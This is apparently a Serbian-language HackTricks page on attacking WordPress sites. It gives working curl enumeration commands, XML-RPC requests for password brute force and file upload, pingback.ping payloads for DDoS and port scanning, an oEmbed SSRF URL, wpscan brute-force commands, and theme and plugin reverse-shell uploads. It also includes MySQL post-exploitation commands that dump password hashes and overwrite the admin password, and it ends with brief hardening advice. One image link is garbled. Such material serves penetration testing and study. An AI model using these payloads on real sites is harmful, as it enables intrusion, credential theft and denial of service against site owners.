Wordpress

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu. Dobijte pristup danas:

Osnovne informacije

Postavljene datoteke idu na: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Datoteke tema se mogu naći u /wp-content/themes/, tako da ako promenite neki php u temi da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći temu twentytwelve možete pristupiti datoteci 404.php na: /wp-content/themes/twentytwelve/404.php Još jedan koristan URL bi mogao biti: /wp-content/themes/default/404.php

U wp-config.php datoteci možete pronaći glavnu lozinku baze podataka.

Podrazumevane putanje za prijavu za proveru: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Glavne WordPress datoteke

  • index.php

  • license.txt sadrži korisne informacije poput verzije instaliranog WordPress-a.

  • wp-activate.php se koristi za proces aktivacije e-pošte prilikom postavljanja nove WordPress stranice.

  • Folderi za prijavu (mogu biti preimenovani da bi se sakrili):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php je datoteka koja predstavlja funkciju WordPress-a koja omogućava prenos podataka HTTP-om kao mehanizmom prenosa i XML-om kao mehanizmom enkodiranja. Ovaj tip komunikacije zamenjen je WordPress REST API.

  • Folder wp-content je glavni direktorijum gde se čuvaju dodaci i teme.

  • wp-content/uploads/ je direktorijum gde se čuvaju sve datoteke koje su postavljene na platformu.

  • wp-includes/ Ovo je direktorijum gde se čuvaju osnovne datoteke, poput sertifikata, fontova, JavaScript datoteka i vidžeta.

  • wp-sitemap.xml U Wordpress verzijama 5.5 i novijim, Wordpress generiše sitemap XML datoteku sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.

Eksploatacija nakon proboja

  • Datoteka wp-config.php sadrži informacije potrebne WordPress-u da se poveže sa bazom podataka, kao što su naziv baze podataka, host baze podataka, korisničko ime i lozinka, autentikacioni ključevi i soli, i prefiks tabele baze podataka. Ova konfiguraciona datoteka takođe može biti korišćena za aktiviranje DEBUG moda, što može biti korisno pri rešavanju problema.

Dozvole korisnika

  • Administrator

  • Urednik: Objavljuje i upravlja svojim i tuđim postovima

  • Autor: Objavljuje i upravlja svojim postovima

  • Saradnik: Piše i upravlja svojim postovima ali ih ne može objaviti

  • Pretplatnik: Pregleda postove i uređuje svoj profil

Pasivno nabrajanje

Dobijanje verzije WordPress-a

Proverite da li možete pronaći datoteke /license.txt ili /readme.html

Unutar izvornog koda stranice (primer sa https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta ime

  • CSS link fajlovi

  • JavaScript fajlovi

Preuzmi Dodatke

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice na svetu. Pristupite danas:

Aktivno nabrajanje

Dodaci i Tema

Verovatno nećete moći da pronađete sve moguće Dodatke i Teme. Da biste otkrili sve od njih, moraćete aktivno Brute Force-ovati listu Dodataka i Tema (srećom, postoje automatizovani alati koji sadrže ove liste).

Korisnici

ID Brute

Dobijate validne korisnike sa WordPress sajta Brute Force-ovanjem ID-eva korisnika:

curl -s -I -X GET http://blog.example.com/?author=1

Ako su odgovori 200 ili 30X, to znači da je id validan. Ako je odgovor 400, onda je id nevažeći.

wp-json

Takođe možete pokušati dobiti informacije o korisnicima upitom:

curl http://blog.example.com/wp-json/wp/v2/users

Još jedan /wp-json/ endpoint koji može otkriti informacije o korisnicima je:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Napomena da ovaj endpoint otkriva samo korisnike koji su objavili post. Biće pružene informacije samo o korisnicima koji imaju ovu funkciju omogućenu.

Takođe, obratite pažnju da /wp-json/wp/v2/pages može otkriti IP adrese.

Enumeracija korisničkih imena za prijavljivanje

Prilikom prijave na /wp-login.php poruka je različita ako je naznačeno da li korisničko ime postoji ili ne.

XML-RPC

Ako je xml-rpc.php aktivan, možete izvršiti napad brute-force na akreditacije ili ga koristiti za pokretanje DoS napada na druge resurse. (Možete automatizovati ovaj proces koristeći ovo na primer).

Da biste videli da li je aktivan, pokušajte da pristupite /xmlrpc.php i pošaljete ovaj zahtev:

Provera

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Bruteforce pristupnice

wp.getUserBlogs, wp.getCategories ili metaWeblog.getUsersBlogs su neke od metoda koje se mogu koristiti za bruteforce pristupnica. Ako uspete da pronađete bilo koju od njih, možete poslati nešto slično:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Poruka "Pogrešno korisničko ime ili lozinka" unutar odgovora koda 200 treba da se pojavi ako pristupni podaci nisu validni.

![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Takođe postoji brži način za brute-force autentifikaciju koristeći system.multicall jer možete isprobati nekoliko autentifikacionih podataka u istom zahtevu:

Bypass 2FA

Ovaj metod je namenjen programima, a ne ljudima, i star je, stoga ne podržava 2FA. Dakle, ako imate validne podatke za prijavljivanje, ali je glavni ulaz zaštićen sa 2FA, možda ćete moći zloupotrebiti xmlrpc.php da se prijavite tim podacima zaobilazeći 2FA. Imajte na umu da nećete moći obavljati sve radnje koje možete obavljati putem konzole, ali još uvek možete doći do RCE kako to objašnjava Ippsec u https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS ili skeniranje porta

Ako pronađete metod pingback.ping unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu. Ovo se može koristiti da zatražite od hiljada Wordpress sajtova da pristupe jednoj lokaciji (tako da se u toj lokaciji izazove DDoS) ili možete koristiti da naterate Wordpress da skenira neku internu mrežu (možete naznačiti bilo koji port).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Ako dobijete faultCode sa vrednošću većom od 0 (17), to znači da je port otvoren.

Pogledajte upotrebu system.multicall u prethodnom odeljku da biste naučili kako zloupotrebiti ovu metodu kako biste izazvali DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ovaj fajl obično postoji pod korenom Wordpress sajta: /wp-cron.php Kada se ovaj fajl pristupi, izvršava se "teški" MySQL upit, pa ga napadači mogu koristiti da izazovu DoS. Takođe, podrazumevano, wp-cron.php se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).

Preporučuje se onemogućavanje Wp-Cron-a i kreiranje pravog cronjob-a unutar hosta koji obavlja potrebne akcije u redovnom intervalu (bez izazivanja problema).

/wp-json/oembed/1.0/proxy - SSRF

Pokušajte da pristupite https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i Wordpress sajt može poslati zahtev ka vama.

Ovo je odgovor kada ne radi:

SSRF

Ovaj alat proverava da li postoji methodName: pingback.ping i putanja /wp-json/oembed/1.0/proxy i ako postoje, pokušava da ih iskoristi.

Automatski Alati

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice na svetu. Dobijte pristup danas:

Dobijanje pristupa prebrisavanjem bita

Više od pravog napada, ovo je radoznalost. U CTF-u https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man mogli ste prebaciti 1 bit iz bilo kog wordpress fajla. Dakle, mogli ste prebaciti poziciju 5389 fajla /var/www/html/wp-includes/user.php da biste anulirali operaciju NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modifikovanje php datoteke iz korišćene teme (potrebne administratorske akreditacije)

Izgled → Uređivač teme → 404 Šablon (desno)

Promenite sadržaj za php shell:

Pretražite na internetu kako možete pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Možete koristiti:

use exploit/unix/webapp/wp_admin_shell_upload

Plugin RCE

PHP dodatak

Moguće je da se .php datoteke postave kao dodatak. Napravite svoj php backdoor koristeći na primer:

Zatim dodajte novi dodatak:

Postavite dodatak i pritisnite Install Now:

Kliknite na Procced:

Verovatno ovo neće izgledati kao da je urađeno ništa, ali ako odete na Media, videćete da je vaš shell postavljen:

Pristupite mu i videćete URL za izvršavanje reverse shell-a:

Postavljanje i aktiviranje zlonamernog dodatka

Ovaj metod uključuje instalaciju zlonamernog dodatka za koji je poznato da je ranjiv i može biti iskorišćen za dobijanje web shell-a. Ovaj proces se sprovodi putem WordPress kontrolne table na sledeći način:

  1. Dobijanje dodatka: Dodatak se dobija sa izvora poput Exploit DB kao ovde.

  2. Instalacija dodatka:

  • Idite na WordPress kontrolnu tablu, zatim idite na Dashboard > Plugins > Upload Plugin.

  • Postavite zip datoteku preuzetog dodatka.

  1. Aktivacija dodatka: Kada se dodatak uspešno instalira, mora biti aktiviran putem kontrolne table.

  2. Iskorišćavanje:

  • Sa dodatkom "reflex-gallery" instaliranim i aktiviranim, može biti iskorišćen jer je poznato da je ranjiv.

  • Metasploit okvir pruža eksploataciju za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem određenih komandi, može se uspostaviti meterpreter sesija, omogućavajući neovlašćen pristup sajtu.

  • Napomenuto je da je ovo samo jedan od mnogih načina za iskorišćavanje WordPress sajta.

Sadržaj uključuje vizuelne pomoći koje prikazuju korake u WordPress kontrolnoj tabli za instaliranje i aktiviranje dodatka. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način nelegalno i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, poput testiranja penetracije sa eksplicitnim odobrenjem.

Za detaljnije korake pogledajte: https://www.hackingarticles.in/wordpress-reverse-shell/**

Post Eksploatacija

Izvucite korisnička imena i lozinke:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Promenite šifru administratora:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Zaštita WordPress-a

Redovno ažuriranje

Proverite da li su WordPress, dodaci i teme ažurirani. Takođe potvrdite da je omogućeno automatsko ažuriranje u wp-config.php fajlu:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Takođe, instalirajte samo pouzdane WordPress dodatke i teme.

Sigurnosni dodaci

Druga preporuka

  • Uklonite podrazumevanog korisnika admin

  • Koristite jake lozinke i 2FA

  • Periodično pregledajte dozvole korisnika

  • Ograničite pokušaje prijave da biste sprečili napade Brute Force

  • Preimenujte datoteku wp-admin.php i dozvolite pristup samo interno ili sa određenih IP adresa.

Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice na svetu. Pristupite danas:

Naučite hakovanje AWS-a od početnika do stručnjaka sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated